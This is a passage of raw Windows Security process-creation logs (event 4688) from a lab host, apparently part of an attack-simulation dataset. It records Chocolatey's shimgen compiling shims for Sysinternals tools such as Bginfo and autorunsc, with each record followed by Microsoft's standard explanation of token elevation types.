Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246383
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe74
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Bginfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246382
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x310
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe74
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246381
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe74
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Bginfo64.exe" --output="C:\ProgramData\chocolatey\bin\Bginfo64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Bginfo64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246380
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb50
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x470
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB7D1.tmp" "c:\ProgramData\chocolatey\bin\CSCF6F191B27D4CAB84FA2951FAFA7ED.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246379
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5d8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x470
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246378
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x470
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x438
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Bginfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246377
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x314
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x438
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246376
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x438
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Bginfo.exe" --output="C:\ProgramData\chocolatey\bin\Bginfo.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Bginfo.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246375
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4fc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd58
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB6E7.tmp" "c:\ProgramData\chocolatey\bin\CSCDBFCEF49BCF747169267C78AFAB04394.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246374
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd34
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd58
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246373
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5ec
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\autorunsc64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246372
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x64c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5ec
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246371
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5ec
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\autorunsc64.exe" --output="C:\ProgramData\chocolatey\bin\autorunsc64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\autorunsc64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246370
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB60C.tmp" "c:\ProgramData\chocolatey\bin\CSC71A7C15471C44F809E72EBC3B4FA9CB5.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246369
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246368
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x364
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xddc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\autorunsc.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_2711\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246367
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xddc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

